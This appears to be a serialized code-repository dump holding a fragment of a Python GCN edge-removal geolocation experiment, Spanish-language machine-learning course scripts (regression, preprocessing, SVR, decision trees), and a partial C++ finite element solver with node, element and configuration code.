explainer.explain_node(user, x, edge_index)\n\n #priotizig the edges based on explaination\n prio_edge = priority_edges(edge_index,user) \n\n aa1 = np.where(np.array(edge_index[:, edge_mask.argsort()[:]][0])==user)\n aa2 = np.where(np.array(edge_index[:, edge_mask.argsort()[:]][1])==user)\n \n for num_users in [perc(prio_edge[0],0),perc(prio_edge[0],0.05),perc(prio_edge[0],0.10),perc(prio_edge[0],0.20),perc(prio_edge[0],0.40),perc(prio_edge[0],0.60),perc(prio_edge[0],0.80),perc(prio_edge[0],1)]:\n #------------------------------------------------------------\n Adj_mat = A.copy()\n Adj_mat.setdiag(1)\n Adj_mat[Adj_mat>0] = 1\n\n Adj_mat = Adj_mat.tocoo()\n \n cat = torch.tensor([Adj_mat.row, Adj_mat.col], dtype=torch.long)\n bb = cat[:, edge_mask.argsort()[:]]\n \n self_indx1,self_indx2 = self_connection_index(cat,aa1),self_connection_index(cat,aa2)\n conn1,conn2 = delete_self(aa1,self_indx1),delete_self(aa2,self_indx2)\n sorted_conn2 = sort2edge(cat,conn1,conn2)\n \n try:\n asd = sample(list(conn1[0]),num_users) #random sampling\n except ValueError:\n asd = sample(list(conn1[0]),num_users-1)\n qwe = find_indx(asd,conn1[0]) \n fgh = sorted_conn2[qwe] #indexes of the edges from the other side of the connection.\n \n edge_index_new = torch.tensor(np.delete(np.array(bb),np.append(asd,list(fgh)),1)) # removing the edges\n\n #using this features to predict the class:\n log_logists_new = model(x,edge_index_new)\n y_pred_test_new = torch.argmax(log_logists_new, dim=1)[np.arange(len(U_train + U_dev), len(U_train + U_dev + U_test))][user_add]\n distances, acc_at_161, latlon_true, latlon_pred = geo_eval_trail(Y_test[user_add], np.array(y_pred_test_new), U_test[user_add], classLatMedian, classLonMedian, userLocation)\n hav_distance.append(distances[0])\n latlon_tr.append(latlon_true[0])\n latlon_pre.append(latlon_pred[0])\n accuracy.append(acc_at_161)\n num_us.append(num_users)\n user_id.append(U_test[user_add])\n user_add += 1\n\ndf1 = pd.DataFrame(list(zip(user_id,num_us,latlon_tr,latlon_pre,hav_distance,accuracy)),columns =['user','num_users','latlon_tru','latlon_pred','haversine_distance',\"acc_at_161\"])\n\n\npercent = [0,5,10,20,40,60,80,100]\ndf1['percent'] = percent *100\n\nmean_pts = [np.mean(df1[df1['percent']==i]['haversine_distance']) for i in percent]\nmedian_pts = [np.median(df1[df1['percent']==i]['haversine_distance']) for i in percent]\n\nacc_pts = []\nfor i in percent:\n dist = list(df1[df1['percent']==i]['haversine_distance'])\n accuracy= len([d for d in dist if d < 161]) / float(len(dist))\n acc_pts.append(accuracy)\n\n\ndf1.to_csv('C:\\\\Users\\\\61484\\\\Graph_Convolutional_Networks\\\\saved_files\\\\remove_edges_random.csv',index=False)\n\nwith open(\"C:\\\\Users\\\\61484\\\\Graph_Convolutional_Networks\\\\saved_files\\\\mean_pts_edges_rm_random.txt\", \"wb\") as fp: \n pickle.dump(mean_pts, fp)\n\nwith open(\"C:\\\\Users\\\\61484\\\\Graph_Convolutional_Networks\\\\saved_files\\\\median_pts_edges_rm_random.txt\", \"wb\") as fp: \n pickle.dump(median_pts, fp)\n\nwith open(\"C:\\\\Users\\\\61484\\\\Graph_Convolutional_Networks\\\\saved_files\\\\acc_pts_edges_rm_random.txt\", \"wb\") as fp: \n pickle.dump(acc_pts, fp)" } ]
8
ClaudiaTacillo/ML_de_la_A_a_la_Z
https://github.com/ClaudiaTacillo/ML_de_la_A_a_la_Z
415310ef17e4f81d6007eef615a569a8a30a15cd
556470c4ec453bb70c996023f4581c3760ed6113
9ed0d60ef414174abe1a1da0f34ca92e3d622dd5
refs/heads/main
2023-04-22T15:21:50.647501
2021-05-07T02:48:07
2021-05-07T02:48:07
365,016,784
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6869622468948364, "alphanum_fraction": 0.7048312425613403, "avg_line_length": 28.260000228881836, "blob_id": "662d997e90664f6af982cb18191f3f820e7fd729", "content_id": "876bc70e89eae310964652079be78c361fb94a9f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1524, "license_type": "no_license", "max_line_length": 83, "num_lines": 50, "path": "/Part 2 - Regression/Section 6 - Polynomial Regression/regresion_polinomial.py", "repo_name": "ClaudiaTacillo/ML_de_la_A_a_la_Z", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed May 5 11:53:26 2021\r\n\r\n@author: Claudia\r\n\"\"\"\r\n\r\n#Regresión polinómica \r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\n\r\n#Importar dataset\r\ndataset = pd.read_csv(\"Position_Salaries.csv\")\r\nX = dataset.iloc[:, 1:2].values #para convertir el vector a matriz\r\ny = dataset.iloc[:, 2].values #y es un vector\r\n\r\n#Ajustar la regresión lineal con el dataset \r\nfrom sklearn.linear_model import LinearRegression\r\nlin_reg = LinearRegression()\r\nlin_reg.fit(X, y)\r\n\r\n#Ajustar la regresión polinómica con el dataset\r\nfrom sklearn.preprocessing import PolynomialFeatures\r\npoly_reg = PolynomialFeatures(degree = 4)\r\nX_poly = poly_reg.fit_transform(X)\r\nlin_reg_2 = LinearRegression()\r\nlin_reg_2.fit(X_poly, y)\r\n\r\n#Visualización de resultados modelo lineal\r\nplt.scatter(X, y, color = 'red')\r\nplt.plot(X, lin_reg.predict(X), color = 'blue')\r\nplt.title(\"Modelo de regresión lineal\")\r\nplt.xlabel('Posición del empleado')\r\nplt.ylabel('Sueldo anual (en $)')\r\nplt.show()\r\n\r\n#Visualización de resultados modelo polinómico\r\nX_grid = np.arange(min(X), max(X), 0.1)\r\nX_grid = X_grid.reshape(len(X_grid), 1)\r\nplt.scatter(X, y, color = 'red')\r\nplt.plot(X_grid, lin_reg_2.predict(poly_reg.fit_transform(X_grid)), color = 'blue')\r\nplt.title(\"Modelo de regresión polinómica\")\r\nplt.xlabel('Posición del empleado')\r\nplt.ylabel('Sueldo anual (en $)')\r\nplt.show()\r\n\r\n#Prediccion de nuestros modelos\r\nlin_reg.predict([[6.5]])\r\nlin_reg_2.predict(poly_reg.fit_transform([[6.5]]))" }, { "alpha_fraction": 0.6955658793449402, "alphanum_fraction": 0.7134348154067993, "avg_line_length": 29.47916603088379, "blob_id": "dca76d33fadb7991b66a992d538c1893b30c7b56", "content_id": "85a939ccbf1a7b7a82db4b8961937399f08df4e4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1513, "license_type": "no_license", "max_line_length": 102, "num_lines": 48, "path": "/Part 1 - Data Preprocessing/Section 2 -------------------- Part 1 - Data Preprocessing --------------------/preprocesado_data_plantilla.py", "repo_name": "ClaudiaTacillo/ML_de_la_A_a_la_Z", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Apr 19 20:30:14 2021\r\n\r\n@author: Claudia\r\n\"\"\"\r\n\r\n#Plantilla de preprocesado\r\n\r\n#Como importoar librerias\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\n\r\n#Importar dataset\r\n\r\ndataset = pd.read_csv(\"Data.csv\")\r\nX = dataset.iloc[:, :-1].values\r\ny = dataset.iloc[:, 3].values\r\n\r\n#Solo cuadno existen datos faltantes\r\n#Tratamiento de los NANs\r\n\"\"\"from sklearn.impute import SimpleImputer\r\nsimp = SimpleImputer(missing_values = \"np.nan\", strategy = \"mean\")\r\nsimp = SimpleImputer().fit(X[:, 1:3])\r\nX[:, 1:3] = simp.transform(X[:, 1:3])\"\"\"\r\n\r\n#Solo cuando se tienen datos categóricos\r\n#Codificar datos categóricos\r\n\"\"\"from sklearn.preprocessing import LabelEncoder, OneHotEncoder\r\nfrom sklearn.compose import ColumnTransformer\r\nlabelencoder_X = LabelEncoder()\r\nX[:, 0] = labelencoder_X.fit_transform(X[:, 0])\r\ntransformer = ColumnTransformer([('one_hot_encoder', OneHotEncoder(), [0])], remainder= \"passthrough\")\r\nX = np.array(transformer.fit_transform(X), dtype = np.float)\r\n\r\nlabelencoder_y = LabelEncoder()\r\ny = labelencoder_y.fit_transform(y)\"\"\"\r\n\r\n#Dividir el data set en conjunto de entrenamiento y conjunto de testing\r\nfrom sklearn.model_selection import train_test_split\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state = 0)\r\n\r\n#Escalado de variables\r\nfrom sklearn.preprocessing import StandardScaler\r\nsc_X = StandardScaler()\r\nX_train = sc_X.fit_transform(X_train)\r\nX_test = sc_X.transform(X_test)\r\n" }, { "alpha_fraction": 0.7053824067115784, "alphanum_fraction": 0.7181302905082703, "avg_line_length": 29.422222137451172, "blob_id": "b1935d9d80afa26a01d96ef7759799ba94e79917", "content_id": "a80b8a574076b124979084a07be635e8ebbedd49", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1417, "license_type": "no_license", "max_line_length": 92, "num_lines": 45, "path": "/Part 2 - Regression/Section 4 - Simple Linear Regression/regresion_lineal_simple.py", "repo_name": "ClaudiaTacillo/ML_de_la_A_a_la_Z", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Apr 21 15:37:47 2021\r\n\r\n@author: Claudia\r\n\"\"\"\r\n\r\n#Como importoar librerias\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\n\r\n#Importar dataset\r\n\r\ndataset = pd.read_csv(\"Salary_Data.csv\")\r\nX = dataset.iloc[:, :-1].values\r\ny = dataset.iloc[:, 1].values\r\n\r\n#Dividir el data set en conjunto de entrenamiento y conjunto de testing\r\nfrom sklearn.model_selection import train_test_split\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 1/3, random_state = 0)\r\n\r\n#Crear modelo de regresión lineal simple con el conjunto de entrenamiento\r\nfrom sklearn.linear_model import LinearRegression\r\nregression = LinearRegression()\r\nregression.fit(X_train, y_train)\r\n\r\n#Predecir el conjunto de test\r\ny_pred = regression.predict(X_test)\r\n\r\n#Visualizar los resultados de entrenamiento\r\nplt.scatter(X_train, y_train, color = \"red\")\r\nplt.plot(X_train, regression.predict(X_train), color = \"blue\")\r\nplt.title(\"Sueldo vs años de experiencia (Conjunto de entrenamiento)\")\r\nplt.xlabel(\"Años de experiencia\")\r\nplt.ylabel(\"Sueldo( en$ )\")\r\nplt.show()\r\n\r\n#Visualizar los resultados de testing\r\nplt.scatter(X_test, y_test, color = \"red\")\r\nplt.plot(X_train, regression.predict(X_train), color = \"blue\")\r\nplt.title(\"Sueldo vs años de experiencia (Conjunto de entrenamiento)\")\r\nplt.xlabel(\"Años de experiencia\")\r\nplt.ylabel(\"Sueldo( en$ )\")\r\nplt.show()" }, { "alpha_fraction": 0.5208480358123779, "alphanum_fraction": 0.5394582152366638, "avg_line_length": 35.21929931640625, "blob_id": "8e1aa9f770ebedd4d95c3938c13970584a2daf52", "content_id": "af25dea8268f10c6884589b648d0b3b65cc511b6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4256, "license_type": "no_license", "max_line_length": 102, "num_lines": 114, "path": "/Part 2 - Regression/Section 5 - Multiple Linear Regression/regresion_lineal_multiple.py", "repo_name": "ClaudiaTacillo/ML_de_la_A_a_la_Z", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon May 3 17:00:00 2021\r\n\r\n@author: Claudia\r\n\"\"\"\r\n\r\n#Regresión lineal multiple\r\n\r\n#Como importoar librerias\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\n\r\n#Importar dataset\r\n\r\ndataset = pd.read_csv(\"50_Startups.csv\")\r\nX = dataset.iloc[:, :-1].values\r\ny = dataset.iloc[:, 4].values\r\n\r\nfrom sklearn.preprocessing import LabelEncoder, OneHotEncoder\r\nfrom sklearn.compose import ColumnTransformer\r\nlabelencoder_X = LabelEncoder()\r\nX[:, 3] = labelencoder_X.fit_transform(X[:, 3])\r\ntransformer = ColumnTransformer([('one_hot_encoder', OneHotEncoder(), [3])], remainder= \"passthrough\")\r\nX = np.array(transformer.fit_transform(X), dtype = np.float)\r\n\r\n#Evitar la trampa de las variables ficticias\r\nX = X[:, 1:]\r\n\r\n#Dividir el data set en conjunto de entrenamiento y conjunto de testing\r\nfrom sklearn.model_selection import train_test_split\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state = 0)\r\n\r\n#Ajustar el modelo de regresión lineal múltiple con el conjunto de entrenamiento\r\nfrom sklearn.linear_model import LinearRegression\r\nregression = LinearRegression()\r\nregression.fit(X_train, y_train)\r\n\r\n#Predicción de los resultados con el conjunto de testing\r\ny_pred = regression.predict(X_test)\r\n\r\n#--------------------------------------------------------\r\n\r\n#Construir el modelo óptimo utilzando la eliminación hacia atrás\r\nimport statsmodels.regression.linear_model as sm\r\nX = np.append(arr = np.ones((50, 1)).astype(int), values= X, axis = 1)\r\nSL = 0.05\r\n\r\n'''\r\n#Haciendolo manualmente\r\nX_opt = X[:, [0, 1, 2, 3, 4, 5]]\r\nregression_OLS = sm.OLS(endog = y, exog = X_opt).fit()\r\nregression_OLS.summary()\r\n\r\nX_opt = X[:, [0, 1, 3, 4, 5]]\r\nregression_OLS = sm.OLS(endog = y, exog = X_opt).fit()\r\nregression_OLS.summary()\r\n\r\nX_opt = X[:, [0, 3, 4, 5]]\r\nregression_OLS = sm.OLS(endog = y, exog = X_opt).fit()\r\nregression_OLS.summary()\r\n\r\nX_opt = X[:, [0, 3, 5]]\r\nregression_OLS = sm.OLS(endog = y, exog = X_opt).fit()\r\nregression_OLS.summary()\r\n'''\r\n'''\r\n#Eliminación hacia atrás utilizando solamente p-valores\r\ndef backwardElimination(x, sl): \r\n numVars = len(x[0]) \r\n for i in range(0, numVars): \r\n regressor_OLS = sm.OLS(y, x).fit() \r\n maxVar = max(regressor_OLS.pvalues).astype(float) \r\n if maxVar > sl: \r\n for j in range(0, numVars - i): \r\n if (regressor_OLS.pvalues[j].astype(float) == maxVar): \r\n x = np.delete(x, j, 1) \r\n regressor_OLS.summary() \r\n return x \r\n\r\nSL = 0.05\r\nX_opt = X[:, [0, 1, 2, 3, 4, 5]]\r\nX_Modeled = backwardElimination(X_opt, SL)\r\n'''\r\n\r\n#Eliminación hacia atrás utilizando p-valores y el valor de R Cuadrado Ajustado\r\ndef backwardElimination(x, SL): \r\n numVars = len(x[0]) \r\n temp = np.zeros((50,6)).astype(int) \r\n for i in range(0, numVars): \r\n regressor_OLS = sm.OLS(y, x).fit() \r\n maxVar = max(regressor_OLS.pvalues).astype(float) \r\n adjR_before = regressor_OLS.rsquared_adj.astype(float) \r\n if maxVar > SL: \r\n for j in range(0, numVars - i): \r\n if (regressor_OLS.pvalues[j].astype(float) == maxVar): \r\n temp[:,j] = x[:, j] \r\n x = np.delete(x, j, 1) \r\n tmp_regressor = sm.OLS(y, x).fit() \r\n adjR_after = tmp_regressor.rsquared_adj.astype(float) \r\n if (adjR_before >= adjR_after): \r\n x_rollback = np.hstack((x, temp[:,[0,j]])) \r\n x_rollback = np.delete(x_rollback, j, 1) \r\n print (regressor_OLS.summary()) \r\n return x_rollback \r\n else: \r\n continue \r\n regressor_OLS.summary() \r\n return x \r\n\r\nSL = 0.05\r\nX_opt = X[:, [0, 1, 2, 3, 4, 5]]\r\nX_Modeled = backwardElimination(X_opt, SL)\r\n\r\n" }, { "alpha_fraction": 0.7196261882781982, "alphanum_fraction": 0.7196261882781982, "avg_line_length": 52.5, "blob_id": "7c43a8e87ce07ba99a774a48d1541637243746d6", "content_id": "80d93083ea99d5f66e9bdfd20327016bdbb58149", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 107, "license_type": "no_license", "max_line_length": 86, "num_lines": 2, "path": "/README.md", "repo_name": "ClaudiaTacillo/ML_de_la_A_a_la_Z", "src_encoding": "UTF-8", "text": "# ML de la A a la Z\nArchivos y bases de datos del curso Machine Learning de la A a la Z de Udemy de Juan Gabriel Gomila\n" }, { "alpha_fraction": 0.6599723100662231, "alphanum_fraction": 0.6772853136062622, "avg_line_length": 28.04166603088379, "blob_id": "37a0ed090857831b4127be9feb0911994a445a17", "content_id": "f1034216c3f29c74ad163b320dd8b099267fbfea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1449, "license_type": "no_license", "max_line_length": 96, "num_lines": 48, "path": "/Part 2 - Regression/Section 7 - Support Vector Regression (SVR)/Support_vector_Regression.py", "repo_name": "ClaudiaTacillo/ML_de_la_A_a_la_Z", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu May 6 10:24:46 2021\r\n\r\n@author: Claudia\r\n\"\"\"\r\n\r\n#Regresión polinómica \r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\n\r\n#Importar dataset\r\ndataset = pd.read_csv(\"Position_Salaries.csv\")\r\nX = dataset.iloc[:, 1:2].values #para convertir el vector a matriz\r\ny = dataset.iloc[:, 2].values #y es un vector\r\n\r\n#Dividir el data set en conjunto de entrenamiento y conjunto de testing\r\n'''from sklearn.model_selection import train_test_split\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state = 0)\r\n'''\r\n\r\n#Escalado de variables\r\nfrom sklearn.preprocessing import StandardScaler\r\nsc_X = StandardScaler()\r\nsc_y = StandardScaler()\r\nX = sc_X.fit_transform(X)\r\ny = sc_y.fit_transform(y.reshape(-1, 1))\r\n\r\n\r\n#Ajustar la regresión con el dataset\r\nfrom sklearn.svm import SVR\r\nregression = SVR(kernel=\"rbf\")\r\nregression.fit(X, y)\r\n\r\n#Prediccion de nuestros modelos con SVR\r\ny_pred = regression.predict(sc_X.transform([[6.5]])) #no olvidar cambiar cuando se hace escalado\r\ny_pred = sc_y.inverse_transform(y_pred)\r\n\r\n#Visualización de resultados del SVR\r\nX_grid = np.arange(min(X), max(X), 0.1)\r\nX_grid = X_grid.reshape(len(X_grid), 1)\r\nplt.scatter(X, y, color = 'red')\r\nplt.plot(X_grid, regression.predict(X_grid), color = 'blue')\r\nplt.title(\"Modelo de regresión (SVR)\")\r\nplt.xlabel('--------------')\r\nplt.ylabel('-------------------')\r\nplt.show()\r\n\r\n" }, { "alpha_fraction": 0.6625000238418579, "alphanum_fraction": 0.6801470518112183, "avg_line_length": 26.893617630004883, "blob_id": "702a5f724b937a7ef3938fe858a3c2e3d8cbf315", "content_id": "850c6da0fdbee4f87680bda89774843c8bc83284", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1364, "license_type": "no_license", "max_line_length": 90, "num_lines": 47, "path": "/Part 2 - Regression/Section 8 - Decision Tree Regression/regresion_arbol_decision.py", "repo_name": "ClaudiaTacillo/ML_de_la_A_a_la_Z", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu May 6 11:41:43 2021\r\n\r\n@author: Claudia\r\n\"\"\"\r\n\r\n#Regresion con arboles de decisión\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\n\r\n#Importar dataset\r\ndataset = pd.read_csv(\"Position_Salaries.csv\")\r\nX = dataset.iloc[:, 1:2].values #para convertir el vector a matriz\r\ny = dataset.iloc[:, 2].values #y es un vector\r\n\r\n#Dividir el data set en conjunto de entrenamiento y conjunto de testing\r\n'''from sklearn.model_selection import train_test_split\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state = 0)\r\n'''\r\n\r\n#Escalado de variables\r\n'''from sklearn.preprocessing import StandardScaler\r\nsc_X = StandardScaler()\r\nX_train = sc_X.fit_transform(X_train)\r\nX_test = sc_X.transform(X_test)\r\n'''\r\n\r\n#Ajustar la regresión con el dataset\r\nfrom sklearn.tree import DecisionTreeRegressor\r\nregression = DecisionTreeRegressor(random_state = 0)\r\nregression.fit(X, y)\r\n\r\n\r\n#Prediccion de nuestros modelos\r\ny_pred = regression.predict([[6.5]])\r\n\r\n#Visualización de resultados\r\nX_grid = np.arange(min(X), max(X), 0.1)\r\nX_grid = X_grid.reshape(len(X_grid), 1)\r\nplt.scatter(X, y, color = 'red')\r\nplt.plot(X_grid, regression.predict(X_grid), color = 'blue')\r\nplt.title(\"Modelo de regresión\")\r\nplt.xlabel('--------------')\r\nplt.ylabel('-------------------')\r\nplt.show()\r\n\r\n" } ]
7
easymanatee/App
https://github.com/easymanatee/App
70941f0c4502f1af5384eefa09ab3d1d0fb98cc5
a15828082001d7b597f49df67539e916b16b4733
f4023ab158782047fe9ed2f18b78666a50f67083
refs/heads/master
2021-01-10T12:25:18.717015
2016-01-07T20:18:20
2016-01-07T20:18:20
49,080,115
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6201550364494324, "alphanum_fraction": 0.6382429003715515, "avg_line_length": 18.350000381469727, "blob_id": "45f0bfa02e69ccb3c5d211d00cfb9607c83731cf", "content_id": "941fd0499a0d84329b3e45581d45f3d33e2b08ff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 387, "license_type": "no_license", "max_line_length": 44, "num_lines": 20, "path": "/MyApp.py", "repo_name": "easymanatee/App", "src_encoding": "UTF-8", "text": "import kivy\nkivy.require(\"1.9.1\")\nfrom kivy.app import App\nfrom kivy.uix.label import Label\nfrom kivy.uix.floatlayout import FloatLayout\nfrom kivy.uix.checkbox import CheckBox\n\nclass Apps1(App):\n icon = \"vrreality-Logo1.0.png\"\n\n def build(self):\n #self.title = \"VR Reality News\"\n return FloatLayout()\n \n \n \n\n\nif __name__ == \"__main__\":\n Apps1().run()\n" }, { "alpha_fraction": 0.7407407164573669, "alphanum_fraction": 0.7407407164573669, "avg_line_length": 12.5, "blob_id": "946f40e188e6ee7b782429282bc5d3c3b57d8e39", "content_id": "3f03e6c8fb18f32cd5abf1a25d87470086b5c133", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 27, "license_type": "no_license", "max_line_length": 20, "num_lines": 2, "path": "/README.md", "repo_name": "easymanatee/App", "src_encoding": "UTF-8", "text": "# App\nMy first app attempt\n" } ]
2
XzzX/FEM
https://github.com/XzzX/FEM
74bcee476ecdeb1b49936dbb29d8daec5b33a156
57fcd6cc25128716ffb82f20bdfb7c09e9339dde
50c960b5fc2a68ca597688248e574f426ef84a5e
refs/heads/master
2020-05-18T13:50:42.205834
2014-03-01T10:23:23
2014-03-01T10:23:23
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.667382001876831, "alphanum_fraction": 0.667382001876831, "avg_line_length": 18.45833396911621, "blob_id": "3f9c9734602282fc0dfa5595f1df9ed78f4e62f5", "content_id": "712a09fdd1164397075fa36ce093627bc888a413", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 466, "license_type": "no_license", "max_line_length": 88, "num_lines": 24, "path": "/src/util.h", "repo_name": "XzzX/FEM", "src_encoding": "UTF-8", "text": "#ifndef UTIL_H\n#define UTIL_H\n\n#include\t<sstream>\n\n/**\nConverts a string to an arbitrary type. >> operator must be defined for the target type.\n@param string string which should be converted\n@return converted string\n**/\ntemplate<typename T>\nT StringTo(const std::string& string){\n T valor;\n\n std::stringstream stream(string);\n stream >> valor;\n if (stream.fail()) {\n std::runtime_error e(string);\n throw e;\n }\n return valor;\n}\n\n#endif" }, { "alpha_fraction": 0.665859580039978, "alphanum_fraction": 0.6707021594047546, "avg_line_length": 21.94444465637207, "blob_id": "3a905e81b669df19b319fe08a50bb83873e6fec7", "content_id": "47340f024f2462abf49f09e46243c1df955c7775", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 413, "license_type": "no_license", "max_line_length": 63, "num_lines": 18, "path": "/src/boundary_condition.h", "repo_name": "XzzX/FEM", "src_encoding": "UTF-8", "text": "#ifndef BOUNDARY_CONDITION_H_INCLUDED\n#define BOUNDARY_CONDITION_H_INCLUDED\n\n#include <sstream>\n\nenum class BCType {N, D};\nstd::istream& operator >> (std::istream& stream, BCType& type);\n\nclass BC{\npublic:\n static const BC DEFAULT;\n BCType mType = BCType::N;\n double mX = 0;\n double mY = 0;\n};\nstd::istream& operator >> (std::istream& stream, BC& bc);\n\n#endif // BOUNDARY_CONDITION_H_INCLUDED\n" }, { "alpha_fraction": 0.6309751272201538, "alphanum_fraction": 0.6347992420196533, "avg_line_length": 23.325580596923828, "blob_id": "df71b8037d5442ffac9e8d341a30767d1d3c8be0", "content_id": "3c34f08e488ba2f827693310e5cc88695bc175e0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1046, "license_type": "no_license", "max_line_length": 84, "num_lines": 43, "path": "/src/configuration.cpp", "repo_name": "XzzX/FEM", "src_encoding": "UTF-8", "text": "#include\t\"configuration.h\"\n\n#include\t<fstream>\n\n#include\t\"util.h\"\n\nConfiguration\tgConfig;\n\nstd::ostream &operator << (std::ostream &stream, const Configuration& config){\n\tstream << \"#CONFIGURATION\" << std::endl;\n\tstream << \"#filename: \" << config.mFilename << std::endl;\n\tstream << \"#number of refinements: \" << config.mNumberOfRefinements << std::endl;\n return stream;\n}\n\nConfiguration::Configuration() :\nmFilename(\"data\"), mNumberOfRefinements(0)\n{}\n\nvoid\tConfiguration::ReadCommandLineParameters( unsigned int argc, char **argv ){\n for (unsigned int i=1; i<argc; i++){\n\n std::string cmd = argv[i];\n\n\t\tif (cmd.compare(\"-data\") == 0){\n\t\t\ti++;\n mFilename = argv[i];\n\t\t} else if (cmd.compare(\"-refine\") == 0) {\n\t\t\ti++;\n\t\t\tmNumberOfRefinements = StringTo<unsigned int>(argv[i]);\n\t\t}\n }\n}\n\nvoid Configuration::SaveConfiguration(){\n std::ofstream fout(gConfig.mFilename + \"_conf.txt\");\n\tfout << gConfig;\n\n\tfout << mFilename << std::endl;\n\tfout << mNumberOfRefinements << std::endl;\n\n fout.close();\n}\n" }, { "alpha_fraction": 0.5878727436065674, "alphanum_fraction": 0.5942345857620239, "avg_line_length": 35.985294342041016, "blob_id": "e3af3b2d15946ff7f9058a5b331b31645b8b2b92", "content_id": "51ebbcaaa3ea5be5e768a5ea7c63b2eb0120f440", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5030, "license_type": "no_license", "max_line_length": 148, "num_lines": 136, "path": "/src/main.cpp", "repo_name": "XzzX/FEM", "src_encoding": "UTF-8", "text": "#include <cassert>\n#include <fstream>\n#include <iostream>\n#include <vector>\n\n#include\t\"configuration.h\"\n#include \"node.h\"\n#include \"element.h\"\n\n\n///!!!!!!!!!!!!ATTENTION!!!!!!!!!!!!!!!!\n///Pay attention to std::vector relocation after push_back especially for refinement loop -> kills this pointer!!!!!!!\n///!!!!!!!!!!!!ATTENTION!!!!!!!!!!!!!!!!\nint main(unsigned int argc, char** argv){\n\tgConfig.ReadCommandLineParameters(argc, argv);\n\n std::vector<Node> globalNodes; ///< all nodes in global numbering\n\tglobalNodes.reserve(1000);\n std::vector<FourNodeQuadrilateralElement> elements; ///< list of all elements\n\telements.reserve(1000);\n\n std::cout << \"reading nodes ... \";\n Node node;\n std::ifstream iFile(gConfig.mFilename + \"_nodes.txt\");\n if (!iFile) std::cerr << \"unknown node file\" << std::endl;\n while (!iFile.eof()){\n iFile >> node;\n globalNodes.push_back(node);\n }\n iFile.close();\n std::cout << globalNodes.size() << \" read\" << std::endl;\n\n std::cout << \"reading elements ... \";\n FourNodeQuadrilateralElement element;\n iFile.open(gConfig.mFilename + \"_elements.txt\");\n if (!iFile) std::cerr << \"unknown element file\" << std::endl;\n while (!iFile.eof()){\n iFile >> element;\n elements.push_back(element);\n }\n iFile.close();\n std::cout << elements.size() << \" read\" << std::endl;\n\n std::cout << \"refining mesh ... \";\n\tfor (unsigned int n = 0; n < gConfig.mNumberOfRefinements; n++){\n\t\tunsigned int\tmaxElements = elements.size();\n\t\tfor (unsigned int i = 0; i < maxElements; i++){\n\t\t\telements.at(i).Refine(globalNodes, elements);\n\t\t}\n\t}\n std::cout << \"done\" << std::endl;\n\n std::cout << \"sorting nodes ... \";\n //E stands for essential nodes (dirichlet boundary)\n //reordering node list so that essential nodes are first\n //to not corrupt global node indices in elements the new ordering is just saved inside the nodes\n int nextE = 0;\n int nextF = globalNodes.size() - 1;\n for (Node& nd : globalNodes){\n if (nd.mBC.mType == BCType::D){\n nd.mPosition = nextE;\n nextE++;\n } else {\n nd.mPosition = nextF;\n nextF--;\n }\n }\n assert(nextE-nextF == 1);\n std::cout << \"done\" << std::endl;\n\n std::cout << \"partition at \" << nextE << std::endl;\n std::cout << \"partitioning and assembling ... \";\n //dE consists of prescribed boundaries\n Eigen::MatrixXd globalD(globalNodes.size(), 1);\n for (const Node& nd : globalNodes){\n if (nd.mBC.mType == BCType::D){\n //if first sorting did not fail this should never be false\n assert(nd.mPosition < nextE);\n //for scalar problems only mX is considered boundary value\n globalD(nd.mPosition, 0) = nd.mBC.mX;\n }\n }\n\n FourNodeQuadrilateralElement::typeK outK;\n Eigen::Matrix<double, 4, 1> outf;\n Eigen::MatrixXd KFE(globalNodes.size() - nextE, nextE);\n\tKFE.setZero();\n Eigen::MatrixXd KF(globalNodes.size() - nextE, globalNodes.size() - nextE);\n\tKF.setZero();\n Eigen::MatrixXd fF(globalNodes.size() - nextE, 1);\n fF.setZero();\n\tfor (unsigned int k = 0; k < elements.size(); k++) {\n elements.at(k).K(globalNodes, outK);\n\t\telements.at(k).f(globalNodes, outf);\n\n\t\tfor (unsigned int i = 0; i < 